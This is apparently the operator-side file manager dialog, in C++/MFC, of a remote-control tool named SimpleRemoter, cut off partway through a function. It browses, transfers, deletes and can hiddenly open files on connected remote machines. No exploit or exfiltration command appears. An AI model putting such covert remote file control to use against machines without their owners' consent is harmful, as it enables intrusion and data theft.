Files
SimpleRemoter/server/2015Remote/FileManagerDlg.cpp

2500 lines
82 KiB
C++
Raw Normal View History

// FileManagerDlg.cpp : implementation file
//
#include "stdafx.h"
#include "2015Remote.h"
#include "FileManagerDlg.h"
#include "FileTransferModeDlg.h"
#include "InputDlg.h"
#include "ZstdArchive.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
static UINT indicators[] = {
ID_SEPARATOR, // status line indicator
ID_SEPARATOR,
ID_SEPARATOR
};
#define MAX_SEND_BUFFER 65535
#define MAX_RECV_BUFFER 65535
typedef struct {
LVITEM* plvi;
CString sCol2;
} lvItem, *plvItem;
/////////////////////////////////////////////////////////////////////////////
// CFileManagerDlg dialog
float GetScreenScalingFactor()
{
HDC hdc = GetDC(NULL); // 获取屏幕设备上下文
int dpiX = GetDeviceCaps(hdc, LOGPIXELSX); // 获取水平 DPI
ReleaseDC(NULL, hdc);
// 缩放比例 = DPI / 标准 DPI96
return dpiX / 96.0f;
}
CFileManagerDlg::CFileManagerDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
: DialogBase(CFileManagerDlg::IDD, pParent, pIOCPServer, pContext, IDI_ICON_FATHER)
{
m_fScalingFactor = GetScreenScalingFactor();
//{{AFX_DATA_INIT(CFileManagerDlg)
//}}AFX_DATA_INIT
m_bIsClosed = false;
m_ProgressCtrl = NULL;
// 保存远程驱动器列表
memset(m_bRemoteDriveList, 0, sizeof(m_bRemoteDriveList));
PBYTE pSrc = m_ContextObject->m_DeCompressionBuffer.GetBuffer(1);
int length = m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1;
if (length > 0)
memcpy(m_bRemoteDriveList, pSrc, length);
m_nTransferMode = TRANSFER_MODE_NORMAL;
m_nOperatingFileLength = 0;
m_nCounter = 0;
m_bIsStop = false;
}
void CFileManagerDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CFileManagerDlg)
DDX_Control(pDX, IDC_REMOTE_PATH, m_Remote_Directory_ComboBox);
DDX_Control(pDX, IDC_LOCAL_PATH, m_Local_Directory_ComboBox);
DDX_Control(pDX, IDC_LIST_REMOTE, m_list_remote);
DDX_Control(pDX, IDC_LIST_LOCAL, m_list_local);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CFileManagerDlg, CDialog)
//{{AFX_MSG_MAP(CFileManagerDlg)
ON_WM_QUERYDRAGICON()
ON_WM_SIZE()
ON_NOTIFY(NM_DBLCLK, IDC_LIST_LOCAL, OnDblclkListLocal)
ON_NOTIFY(LVN_BEGINDRAG, IDC_LIST_LOCAL, OnBegindragListLocal)
ON_NOTIFY(LVN_BEGINDRAG, IDC_LIST_REMOTE, OnBegindragListRemote)
ON_WM_MOUSEMOVE()
ON_WM_LBUTTONUP()
ON_WM_TIMER()
ON_WM_CLOSE()
ON_NOTIFY(NM_DBLCLK, IDC_LIST_REMOTE, OnDblclkListRemote)
ON_COMMAND(IDT_LOCAL_PREV, OnLocalPrev)
ON_COMMAND(IDT_REMOTE_PREV, OnRemotePrev)
ON_COMMAND(IDT_LOCAL_VIEW, OnLocalView)
ON_COMMAND(IDM_LOCAL_LIST, OnLocalList)
ON_COMMAND(IDM_LOCAL_REPORT, OnLocalReport)
ON_COMMAND(IDM_LOCAL_BIGICON, OnLocalBigicon)
ON_COMMAND(IDM_LOCAL_SMALLICON, OnLocalSmallicon)
ON_COMMAND(IDM_REMOTE_BIGICON, OnRemoteBigicon)
ON_COMMAND(IDM_REMOTE_LIST, OnRemoteList)
ON_COMMAND(IDM_REMOTE_REPORT, OnRemoteReport)
ON_COMMAND(IDM_REMOTE_SMALLICON, OnRemoteSmallicon)
ON_COMMAND(IDT_REMOTE_VIEW, OnRemoteView)
ON_UPDATE_COMMAND_UI(IDT_LOCAL_STOP, OnUpdateLocalStop)
ON_UPDATE_COMMAND_UI(IDT_REMOTE_STOP, OnUpdateRemoteStop)
ON_UPDATE_COMMAND_UI(IDT_LOCAL_PREV, OnUpdateLocalPrev)
ON_UPDATE_COMMAND_UI(IDT_REMOTE_PREV, OnUpdateRemotePrev)
ON_UPDATE_COMMAND_UI(IDT_LOCAL_COPY, OnUpdateLocalCopy)
ON_UPDATE_COMMAND_UI(IDT_REMOTE_COPY, OnUpdateRemoteCopy)
ON_UPDATE_COMMAND_UI(IDT_REMOTE_DELETE, OnUpdateRemoteDelete)
ON_UPDATE_COMMAND_UI(IDT_REMOTE_NEWFOLDER, OnUpdateRemoteNewfolder)
ON_UPDATE_COMMAND_UI(IDT_LOCAL_DELETE, OnUpdateLocalDelete)
ON_UPDATE_COMMAND_UI(IDT_LOCAL_NEWFOLDER, OnUpdateLocalNewfolder)
ON_COMMAND(IDT_REMOTE_COPY, OnRemoteCopy)
ON_COMMAND(IDT_LOCAL_COPY, OnLocalCopy)
ON_COMMAND(IDT_LOCAL_DELETE, OnLocalDelete)
ON_COMMAND(IDT_REMOTE_DELETE, OnRemoteDelete)
ON_COMMAND(IDT_REMOTE_STOP, OnRemoteStop)
ON_COMMAND(IDT_LOCAL_STOP, OnLocalStop)
ON_COMMAND(IDT_LOCAL_NEWFOLDER, OnLocalNewfolder)
ON_COMMAND(IDT_REMOTE_NEWFOLDER, OnRemoteNewfolder)
ON_COMMAND(IDM_TRANSFER, OnTransfer)
ON_COMMAND(IDM_RENAME, OnRename)
ON_NOTIFY(LVN_ENDLABELEDIT, IDC_LIST_LOCAL, OnEndlabeleditListLocal)
ON_NOTIFY(LVN_ENDLABELEDIT, IDC_LIST_REMOTE, OnEndlabeleditListRemote)
ON_COMMAND(IDM_DELETE, OnDelete)
ON_COMMAND(IDM_NEWFOLDER, OnNewfolder)
ON_COMMAND(IDM_REFRESH, OnRefresh)
ON_COMMAND(IDM_LOCAL_OPEN, OnLocalOpen)
ON_COMMAND(IDM_REMOTE_OPEN_SHOW, OnRemoteOpenShow)
ON_COMMAND(IDM_REMOTE_OPEN_HIDE, OnRemoteOpenHide)
ON_NOTIFY(NM_RCLICK, IDC_LIST_LOCAL, OnRclickListLocal)
ON_NOTIFY(NM_RCLICK, IDC_LIST_REMOTE, OnRclickListRemote)
ON_MESSAGE(WM_MY_MESSAGE, OnMyMessage)
//}}AFX_MSG_MAP
ON_COMMAND(ID_FILEMANGER_COMPRESS, &CFileManagerDlg::OnFilemangerCompress)
ON_COMMAND(ID_FILEMANGER_UNCOMPRESS, &CFileManagerDlg::OnFilemangerUncompress)
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CFileManagerDlg message handlers
int GetIconIndex_(LPCTSTR lpFileName, DWORD dwFileAttributes)
{
SHFILEINFO sfi = {};
if (dwFileAttributes == INVALID_FILE_ATTRIBUTES)
dwFileAttributes = FILE_ATTRIBUTE_NORMAL;
else
dwFileAttributes |= FILE_ATTRIBUTE_NORMAL;
SHGetFileInfo
(
lpFileName,
dwFileAttributes,
&sfi,
sizeof(SHFILEINFO),
SHGFI_SYSICONINDEX | SHGFI_USEFILEATTRIBUTES
);
return sfi.iIcon;
}
int GetIconIndex(LPCTSTR lpFileName, DWORD dwFileAttributes)
{
VLDGlobalDisable();
// 代码中排除: Windows.Storage.dll 内部缓存,不是代码泄漏,是误报。
int index = GetIconIndex_(lpFileName, dwFileAttributes);
VLDGlobalEnable();
return index;
}
BOOL CFileManagerDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: Add extra initialization here
// Set the icon for this dialog. The framework does this automatically
// when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
RECT rect;
GetClientRect(&rect);
/*为真彩工具条添加的代码*/
// 一定要定义工具栏ID不然RepositionBars会重置工具栏的位置
// ID 定义在AFX_IDW_CONTROLBAR_FIRST AFX_IDW_CONTROLBAR_LAST
// 本地工具条 CBRS_TOP 会在工具条上产生一条线
if (!m_wndToolBar_Local.Create(this, WS_CHILD |
WS_VISIBLE | CBRS_ALIGN_ANY | CBRS_TOOLTIPS | CBRS_FLYBY, ID_LOCAL_TOOLBAR)
||!m_wndToolBar_Local.LoadToolBar(IDR_TOOLBAR1)) {
TRACE0("Failed to create toolbar ");
return -1; //Failed to create
}
m_wndToolBar_Local.ModifyStyle(0, TBSTYLE_FLAT); //Fix for WinXP
m_wndToolBar_Local.LoadTrueColorToolBar
(
24, //加载真彩工具条
IDB_TOOLBAR,
IDB_TOOLBAR,
IDB_TOOLBAR_DISABLE
);
// 添加下拉按钮
m_wndToolBar_Local.AddDropDownButton(this, IDT_LOCAL_VIEW, IDR_LOCAL_VIEW);
if (!m_wndToolBar_Remote.Create(this, WS_CHILD |
WS_VISIBLE | CBRS_ALIGN_ANY | CBRS_TOOLTIPS | CBRS_FLYBY, ID_REMOTE_TOOLBAR)
||!m_wndToolBar_Remote.LoadToolBar(IDR_TOOLBAR2)) {
TRACE0("Failed to create toolbar ");
return -1; //Failed to create
}
m_wndToolBar_Remote.ModifyStyle(0, TBSTYLE_FLAT); //Fix for WinXP
m_wndToolBar_Remote.LoadTrueColorToolBar
(
24, //加载真彩工具条
IDB_TOOLBAR,
IDB_TOOLBAR,
IDB_TOOLBAR_DISABLE
);
// 添加下拉按钮
m_wndToolBar_Remote.AddDropDownButton(this, IDT_REMOTE_VIEW, IDR_REMOTE_VIEW);
//显示工具栏
UpdateWindowsPos();
// 设置标题
CString str;
str.Format("%s - 文件管理",m_IPAddress);
SetWindowText(str);
// 为列表视图设置ImageList
m_list_local.SetImageList(&(THIS_APP->m_pImageList_Large), LVSIL_NORMAL);
m_list_local.SetImageList(&(THIS_APP->m_pImageList_Small), LVSIL_SMALL);
// 创建带进度条的状态栏
if (!m_wndStatusBar.Create(this) ||
!m_wndStatusBar.SetIndicators(indicators,
sizeof(indicators)/sizeof(UINT))) {
TRACE0("Failed to create status bar\n");
return -1; // fail to create
}
m_wndStatusBar.SetPaneInfo(0, m_wndStatusBar.GetItemID(0), SBPS_STRETCH, NULL);
m_wndStatusBar.SetPaneInfo(1, m_wndStatusBar.GetItemID(1), SBPS_NORMAL, 120);
m_wndStatusBar.SetPaneInfo(2, m_wndStatusBar.GetItemID(2), SBPS_NORMAL, 50);
RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //显示状态栏
m_wndStatusBar.GetItemRect(1, &rect);
m_ProgressCtrl = new CProgressCtrl;
m_ProgressCtrl->Create(PBS_SMOOTH | WS_VISIBLE, rect, &m_wndStatusBar, 1);
m_ProgressCtrl->SetRange(0, 100); //设置进度条范围
m_ProgressCtrl->SetPos(20); //设置进度条当前位置
m_list_local.ModifyStyle(FALSE, LVS_REPORT);
m_list_remote.ModifyStyle(FALSE, LVS_REPORT);
FixedLocalDriveList();
FixedRemoteDriveList();
/////////////////////////////////////////////
//// Set up initial variables
m_bDragging = false;
m_nDragIndex = -1;
m_nDropIndex = -1;
CoInitialize(NULL);
SHAutoComplete(GetDlgItem(IDC_LOCAL_PATH)->GetWindow(GW_CHILD)->m_hWnd, SHACF_FILESYSTEM);
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
}
void CFileManagerDlg::OnSize(UINT nType, int cx, int cy)
{
CDialog::OnSize(nType, cx, cy);
// TODO: Add your message handler code here
// 状态栏还没有创建
if (m_wndStatusBar.m_hWnd == NULL)
return;
// 定位状态栏
RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //显示工具栏
RECT rect;
m_wndStatusBar.GetItemRect(1, &rect);
m_ProgressCtrl->MoveWindow(&rect);
UpdateWindowsPos();
}
void CFileManagerDlg::UpdateWindowsPos()
{
RECT rect;
GetClientRect(&rect);
int cx = rect.right - rect.left;
int cy = rect.bottom - rect.top;
GetDlgItem(IDC_LIST_LOCAL)->MoveWindow(0, 36, cx, (cy - 100) / 2);
GetDlgItem(IDC_LIST_REMOTE)->MoveWindow(0, (cy / 2) + 28, cx, (cy - 100) / 2);
GetDlgItem(IDC_STATIC_LOCAL)->MoveWindow(10, 10, 25 * m_fScalingFactor, 20);
GetDlgItem(IDC_STATIC_REMOTE)->MoveWindow(10, cy / 2, 25 * m_fScalingFactor, 20);
GetDlgItem(IDC_LOCAL_PATH)->MoveWindow(56, 5, 210, 12);
GetDlgItem(IDC_REMOTE_PATH)->MoveWindow(56, (cy / 2) - 4, 210, 12);
//显示工具栏
m_wndToolBar_Local.MoveWindow(268, 0, (rect.right - 268), 48);
m_wndToolBar_Remote.MoveWindow(268, (rect.bottom / 2 - 10), (rect.right - 268), 48);
}
void CFileManagerDlg::FixedLocalDriveList()
{
char DriveString[256];
char *pDrive = NULL;
m_list_local.DeleteAllItems();
while(m_list_local.DeleteColumn(0) != 0);
m_list_local.InsertColumn(0, "名称", LVCFMT_LEFT, 200);
m_list_local.InsertColumn(1, "类型", LVCFMT_LEFT, 100);
m_list_local.InsertColumn(2, "总大小", LVCFMT_LEFT, 100);
m_list_local.InsertColumn(3, "可用空间", LVCFMT_LEFT, 115);
GetLogicalDriveStrings(sizeof(DriveString), DriveString);
pDrive = DriveString;
char FileSystem[MAX_PATH];
unsigned __int64 HDAmount = 0;
unsigned __int64 HDFreeSpace = 0;
unsigned long AmntMB = 0; // 总大小
unsigned long FreeMB = 0; // 剩余空间
for (int i = 0; *pDrive != '\0'; i++, pDrive += lstrlen(pDrive) + 1) {
// 得到磁盘相关信息
memset(FileSystem, 0, sizeof(FileSystem));
// 得到文件系统信息及大小
GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH);
int nFileSystemLen = lstrlen(FileSystem) + 1;
if (GetDiskFreeSpaceEx(pDrive, (PULARGE_INTEGER)&HDFreeSpace, (PULARGE_INTEGER)&HDAmount, NULL)) {
AmntMB = HDAmount / 1024 / 1024;
FreeMB = HDFreeSpace / 1024 / 1024;
} else {
AmntMB = 0;
FreeMB = 0;
}
int nItem = m_list_local.InsertItem(i, pDrive, GetIconIndex(pDrive, GetFileAttributes(pDrive)));
m_list_local.SetItemData(nItem, 1);
if (lstrlen(FileSystem) == 0) {
SHFILEINFO sfi = {};
SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
m_list_local.SetItemText(nItem, 1, sfi.szTypeName);
} else {
m_list_local.SetItemText(nItem, 1, FileSystem);
}
CString str;
str.Format("%10.1f GB", (float)AmntMB / 1024);
m_list_local.SetItemText(nItem, 2, str);
str.Format("%10.1f GB", (float)FreeMB / 1024);
m_list_local.SetItemText(nItem, 3, str);
}
// 重置本地当前路径
m_Local_Path = "";
m_Local_Directory_ComboBox.ResetContent();
ShowMessage("本地:装载目录 %s 完成", m_Local_Path);
}
void CFileManagerDlg::OnDblclkListLocal(NMHDR* pNMHDR, LRESULT* pResult)
{
// TODO: Add your control notification handler code here
if (m_list_local.GetSelectedCount() == 0 || m_list_local.GetItemData(m_list_local.GetSelectionMark()) != 1)
return;
FixedLocalFileList();
*pResult = 0;
}
void CFileManagerDlg::FixedLocalFileList(CString directory)
{
if (directory.GetLength() == 0) {
int nItem = m_list_local.GetSelectionMark();
// 如果有选中的,是目录
if (nItem != -1) {
if (m_list_local.GetItemData(nItem) == 1) {
directory = m_list_local.GetItemText(nItem, 0);
}
}
// 从组合框里得到路径
else {
m_Local_Directory_ComboBox.GetWindowText(m_Local_Path);
}
}
// 得到父目录
if (directory == "..") {
m_Local_Path = GetParentDirectory(m_Local_Path);
}
// 刷新当前用
else if (directory != ".") {
m_Local_Path += directory;
if(m_Local_Path.Right(1) != "\\")
m_Local_Path += "\\";
}
// 是驱动器的根目录,返回磁盘列表
if (m_Local_Path.GetLength() == 0) {
FixedLocalDriveList();
return;
}
m_Local_Directory_ComboBox.InsertString(0, m_Local_Path);
m_Local_Directory_ComboBox.SetCurSel(0);
// 重建标题
m_list_local.DeleteAllItems();
while(m_list_local.DeleteColumn(0) != 0);
m_list_local.InsertColumn(0, "名称", LVCFMT_LEFT, 200);
m_list_local.InsertColumn(1, "大小", LVCFMT_LEFT, 100);
m_list_local.InsertColumn(2, "类型", LVCFMT_LEFT, 100);
m_list_local.InsertColumn(3, "修改日期", LVCFMT_LEFT, 115);
int nItemIndex = 0;
m_list_local.SetItemData
(
m_list_local.InsertItem(nItemIndex++, "..", GetIconIndex(NULL, FILE_ATTRIBUTE_DIRECTORY)),
1
);
// i 为 0 时列目录i 为 1时列文件
for (int i = 0; i < 2; ++i) {
CFileFind file;
BOOL bContinue;
bContinue = file.FindFile(m_Local_Path + "*.*");
while (bContinue) {
bContinue = file.FindNextFile();
if (file.IsDots())
continue;
bool bIsInsert = !file.IsDirectory() == i;
if (!bIsInsert)
continue;
int nItem = m_list_local.InsertItem(nItemIndex++, file.GetFileName(),
GetIconIndex(file.GetFileName(), GetFileAttributes(file.GetFilePath())));
m_list_local.SetItemData(nItem, file.IsDirectory());
SHFILEINFO sfi = {};
SHGetFileInfo(file.GetFileName(), FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
m_list_local.SetItemText(nItem, 2, sfi.szTypeName);
CString str;
str.Format("%10d KB", file.GetLength() / 1024 + (file.GetLength() % 1024 ? 1 : 0));
m_list_local.SetItemText(nItem, 1, str);
CTime time;
file.GetLastWriteTime(time);
m_list_local.SetItemText(nItem, 3, time.Format("%Y-%m-%d %H:%M"));
}
}
ShowMessage("本地:装载目录 %s 完成", m_Local_Path);
}
void CFileManagerDlg::DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList)
{
//This routine performs the actual drop of the item dragged.
//It simply grabs the info from the Drag list (pDragList)
// and puts that info into the list dropped on (pDropList).
//Send: pDragList = pointer to CListCtrl we dragged from,
// pDropList = pointer to CListCtrl we are dropping on.
//Return: nothing.
////Variables
// Unhilight the drop target
if(pDragList == pDropList) { //we are return
return;
} //EO if(pDragList...
pDropList->SetItemState(m_nDropIndex, 0, LVIS_DROPHILITED);
if ((CWnd *)pDropList == &m_list_local) {
OnRemoteCopy();
} else if ((CWnd *)pDropList == &m_list_remote) {
OnLocalCopy();
} else {
// 见鬼了
return;
}
// 重置
m_nDropIndex = -1;
}
// The system calls this to obtain the cursor to display while the user drags
// the minimized window.
HCURSOR CFileManagerDlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}
void CFileManagerDlg::OnBegindragListLocal(NMHDR* pNMHDR, LRESULT* pResult)
{
NM_LISTVIEW* pNMListView = (NM_LISTVIEW*)pNMHDR;
// TODO: Add your control notification handler code here
//// Save the index of the item being dragged in m_nDragIndex
//// This will be used later for retrieving the info dragged
m_nDragIndex = pNMListView->iItem;
if (!m_list_local.GetItemText(m_nDragIndex, 0).Compare(".."))
return;
//We will call delete later (in LButtonUp) to clean this up
if(m_list_local.GetSelectedCount() > 1) //more than 1 item in list is selected
m_hCursor = THIS_APP->LoadCursor(IDC_CURSOR_MDRAG);
else
m_hCursor = THIS_APP->LoadCursor(IDC_CURSOR_DRAG);
ASSERT(m_hCursor); //make sure it was created
//// Change the cursor to the drag image
//// (still must perform DragMove() in OnMouseMove() to show it moving)
//// Set dragging flag and others
m_bDragging = TRUE; //we are in a drag and drop operation
m_nDropIndex = -1; //we don't have a drop index yet
m_pDragList = &m_list_local; //make note of which list we are dragging from
m_pDropWnd = &m_list_local; //at present the drag list is the drop list
//// Capture all mouse messages
SetCapture();
*pResult = 0;
}
void CFileManagerDlg::OnBegindragListRemote(NMHDR* pNMHDR, LRESULT* pResult)
{
NM_LISTVIEW* pNMListView = (NM_LISTVIEW*)pNMHDR;
// TODO: Add your control notification handler code here
//// Save the index of the item being dragged in m_nDragIndex
//// This will be used later for retrieving the info dragged
m_nDragIndex = pNMListView->iItem;
if (!m_list_local.GetItemText(m_nDragIndex, 0).Compare(".."))
return;
//We will call delete later (in LButtonUp) to clean this up
if(m_list_remote.GetSelectedCount() > 1) //more than 1 item in list is selected
m_hCursor = THIS_APP->LoadCursor(IDC_CURSOR_MDRAG);
else
m_hCursor = THIS_APP->LoadCursor(IDC_CURSOR_DRAG);
ASSERT(m_hCursor); //make sure it was created
//// Change the cursor to the drag image
//// (still must perform DragMove() in OnMouseMove() to show it moving)
//// Set dragging flag and others
m_bDragging = TRUE; //we are in a drag and drop operation
m_nDropIndex = -1; //we don't have a drop index yet
m_pDragList = &m_list_remote; //make note of which list we are dragging from
m_pDropWnd = &m_list_remote; //at present the drag list is the drop list
//// Capture all mouse messages
SetCapture ();
*pResult = 0;
}
void CFileManagerDlg::OnMouseMove(UINT nFlags, CPoint point)
{
// TODO: Add your message handler code here and/or call default
//While the mouse is moving, this routine is called.
//This routine will redraw the drag image at the present
// mouse location to display the dragging.
//Also, while over a CListCtrl, this routine will highlight
// the item we are hovering over.
//// If we are in a drag/drop procedure (m_bDragging is true)
if (m_bDragging) {
//SetClassLong(m_list_local.m_hWnd, GCL_HCURSOR, (LONG)THIS_APP->LoadCursor(IDC_DRAG));
//// Move the drag image
CPoint pt(point); //get our current mouse coordinates
ClientToScreen(&pt); //convert to screen coordinates
//// Get the CWnd pointer of the window that is under the mouse cursor
CWnd* pDropWnd = WindowFromPoint (pt);
ASSERT(pDropWnd); //make sure we have a window
//// If we drag outside current window we need to adjust the highlights displayed
if (pDropWnd != m_pDropWnd) {
if (m_nDropIndex != -1) { //If we drag over the CListCtrl header, turn off the hover highlight
TRACE("m_nDropIndex is -1\n");
CListCtrl* pList = (CListCtrl*)m_pDropWnd;
VERIFY (pList->SetItemState (m_nDropIndex, 0, LVIS_DROPHILITED));
// redraw item
VERIFY (pList->RedrawItems (m_nDropIndex, m_nDropIndex));
pList->UpdateWindow ();
m_nDropIndex = -1;
}
}
// Save current window pointer as the CListCtrl we are dropping onto
m_pDropWnd = pDropWnd;
// Convert from screen coordinates to drop target client coordinates
pDropWnd->ScreenToClient(&pt);
//If we are hovering over a CListCtrl we need to adjust the highlights
if(pDropWnd->IsKindOf(RUNTIME_CLASS (CListCtrl))) {
//Note that we can drop here
SetCursor(m_hCursor);
if (m_pDropWnd->m_hWnd == m_pDragList->m_hWnd)
return;
UINT uFlags;
CListCtrl* pList = (CListCtrl*)pDropWnd;
// Turn off hilight for previous drop target
pList->SetItemState (m_nDropIndex, 0, LVIS_DROPHILITED);
// Redraw previous item
pList->RedrawItems (m_nDropIndex, m_nDropIndex);
// Get the item that is below cursor
m_nDropIndex = ((CListCtrl*)pDropWnd)->HitTest(pt, &uFlags);
if (m_nDropIndex != -1) {
// Highlight it
pList->SetItemState(m_nDropIndex, LVIS_DROPHILITED, LVIS_DROPHILITED);
// Redraw item
pList->RedrawItems(m_nDropIndex, m_nDropIndex);
pList->UpdateWindow();
}
} else {
//If we are not hovering over a CListCtrl, change the cursor
// to note that we cannot drop here
SetCursor(LoadCursor(NULL, IDC_NO));
}
}
CDialog::OnMouseMove(nFlags, point);
}
void CFileManagerDlg::OnLButtonUp(UINT nFlags, CPoint point)
{
// TODO: Add your message handler code here and/or call default
//This routine is the end of the drag/drop operation.
//When the button is released, we are to drop the item.
//There are a few things we need to do to clean up and
// finalize the drop:
// 1) Release the mouse capture
// 2) Set m_bDragging to false to signify we are not dragging
// 3) Actually drop the item (we call a separate function to do that)
//If we are in a drag and drop operation (otherwise we don't do anything)
if (m_bDragging) {
// Release mouse capture, so that other controls can get control/messages
ReleaseCapture();
// Note that we are NOT in a drag operation
m_bDragging = FALSE;
CPoint pt (point); //Get current mouse coordinates
ClientToScreen (&pt); //Convert to screen coordinates
// Get the CWnd pointer of the window that is under the mouse cursor
CWnd* pDropWnd = WindowFromPoint (pt);
ASSERT (pDropWnd); //make sure we have a window pointer
// If window is CListCtrl, we perform the drop
if (pDropWnd->IsKindOf (RUNTIME_CLASS (CListCtrl))) {
m_pDropList = (CListCtrl*)pDropWnd; //Set pointer to the list we are dropping on
DropItemOnList(m_pDragList, m_pDropList); //Call routine to perform the actual drop
}
}
CDialog::OnLButtonUp(nFlags, point);
}
BOOL CFileManagerDlg::PreTranslateMessage(MSG* pMsg)
{
// TODO: Add your specialized code here and/or call the base class
if (pMsg->message == WM_KEYDOWN) {
if (pMsg->wParam == VK_ESCAPE)
return true;
if (pMsg->wParam == VK_RETURN) {
if (
pMsg->hwnd == m_list_local.m_hWnd ||
pMsg->hwnd == ((CEdit*)m_Local_Directory_ComboBox.GetWindow(GW_CHILD))->m_hWnd
) {
FixedLocalFileList();
} else if
(
pMsg->hwnd == m_list_remote.m_hWnd ||
pMsg->hwnd == ((CEdit*)m_Remote_Directory_ComboBox.GetWindow(GW_CHILD))->m_hWnd
) {
GetRemoteFileList();
}
return TRUE;
}
}
// 单击除了窗口标题栏以外的区域使窗口移动
if (pMsg->message == WM_LBUTTONDOWN && pMsg->hwnd == m_hWnd) {
pMsg->message = WM_NCLBUTTONDOWN;
pMsg->wParam = HTCAPTION;
}
/*
UINT CFileManagerDlg::OnNcHitTest (Cpoint point )
{
UINT nHitTest =Cdialog: : OnNcHitTest (point )
return (nHitTest = =HTCLIENT)? HTCAPTION : nHitTest
}
*/
if(m_wndToolBar_Local.IsWindowVisible()) {
CWnd* pWndParent = m_wndToolBar_Local.GetParent();
m_wndToolBar_Local.OnUpdateCmdUI((CFrameWnd*)this, TRUE);
}
if(m_wndToolBar_Remote.IsWindowVisible()) {
CWnd* pWndParent = m_wndToolBar_Remote.GetParent();
m_wndToolBar_Remote.OnUpdateCmdUI((CFrameWnd*)this, TRUE);
}
return CDialog::PreTranslateMessage(pMsg);
}
void CFileManagerDlg::OnTimer(UINT_PTR nIDEvent)
{
// TODO: Add your message handler code here and/or call default
m_ProgressCtrl->StepIt();
CDialog::OnTimer(nIDEvent);
}
void CFileManagerDlg::FixedRemoteDriveList()
{
// 加载系统统图标列表 设置驱动器图标列表
HIMAGELIST hImageListLarge = NULL;
HIMAGELIST hImageListSmall = NULL;
Shell_GetImageLists(&hImageListLarge, &hImageListSmall);
ListView_SetImageList(m_list_remote.m_hWnd, hImageListLarge, LVSIL_NORMAL);
ListView_SetImageList(m_list_remote.m_hWnd, hImageListSmall, LVSIL_SMALL);
m_list_remote.DeleteAllItems();
// 重建Column
while(m_list_remote.DeleteColumn(0) != 0);
m_list_remote.InsertColumn(0, "名称", LVCFMT_LEFT, 200);
m_list_remote.InsertColumn(1, "类型", LVCFMT_LEFT, 100);
m_list_remote.InsertColumn(2, "总大小", LVCFMT_LEFT, 100);
m_list_remote.InsertColumn(3, "可用空间", LVCFMT_LEFT, 115);
char *pDrive = NULL;
pDrive = (char *)m_bRemoteDriveList;
unsigned long AmntMB = 0; // 总大小
unsigned long FreeMB = 0; // 剩余空间
//char VolName[MAX_PATH];
//char FileSystem[MAX_PATH];
/*
6 DRIVE_FLOPPY
7 DRIVE_REMOVABLE
8 DRIVE_FIXED
9 DRIVE_REMOTE
10 DRIVE_REMOTE_DISCONNECT
11 DRIVE_CDROM
*/
int nIconIndex = -1;
for (int i = 0; pDrive[i] != '\0';) {
if (pDrive[i] == 'A' || pDrive[i] == 'B') {
nIconIndex = 6;
} else {
switch (pDrive[i + 1]) {
case DRIVE_REMOVABLE:
nIconIndex = 7;
break;
case DRIVE_FIXED:
nIconIndex = 8;
break;
case DRIVE_REMOTE:
nIconIndex = 9;
break;
case DRIVE_CDROM:
nIconIndex = 11;
break;
default:
nIconIndex = 8;
break;
}
}
CString str;
str.Format("%c:\\", pDrive[i]);
int nItem = m_list_remote.InsertItem(i, str, nIconIndex);
m_list_remote.SetItemData(nItem, 1);
memcpy(&AmntMB, pDrive + i + 2, 4);
memcpy(&FreeMB, pDrive + i + 6, 4);
str.Format("%10.1f GB", (float)AmntMB / 1024);
m_list_remote.SetItemText(nItem, 2, str);
str.Format("%10.1f GB", (float)FreeMB / 1024);
m_list_remote.SetItemText(nItem, 3, str);
i += 10;
char *lpFileSystemName = NULL;
char *lpTypeName = NULL;
lpTypeName = pDrive + i;
i += lstrlen(pDrive + i) + 1;
lpFileSystemName = pDrive + i;
// 磁盘类型, 为空就显示磁盘名称
if (lstrlen(lpFileSystemName) == 0) {
m_list_remote.SetItemText(nItem, 1, lpTypeName);
} else {
m_list_remote.SetItemText(nItem, 1, lpFileSystemName);
}
i += lstrlen(pDrive + i) + 1;
}
// 重置远程当前路径
m_Remote_Path = "";
m_Remote_Directory_ComboBox.ResetContent();
ShowMessage("远程:装载目录 %s 完成", m_Remote_Path);
}
void CFileManagerDlg::OnClose()
{
CancelIO();
// 等待数据处理完毕
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
}
CoUninitialize();
DialogBase::OnClose();
}
CString CFileManagerDlg::GetParentDirectory(CString strPath)
{
CString strCurPath = strPath;
int Index = strCurPath.ReverseFind('\\');
if (Index == -1) {
return strCurPath;
}
CString str = strCurPath.Left(Index);
Index = str.ReverseFind('\\');
if (Index == -1) {
strCurPath = "";
return strCurPath;
}
strCurPath = str.Left(Index);
if(strCurPath.Right(1) != "\\")
strCurPath += "\\";
return strCurPath;
}
void CFileManagerDlg::OnReceiveComplete()
{
switch (m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[0]) {
case TOKEN_FILE_LIST: // 文件列表
try {
FixedRemoteFileList
(
m_ContextObject->m_DeCompressionBuffer.GetBuffer(0),
m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1
);
} catch (CMemoryException* e) {
char err[256];
e->GetErrorMessage(err, sizeof(err));
Mprintf("[ERROR] CMemoryException: %s\n", err);
} catch (CFileException* e) {
char err[256];
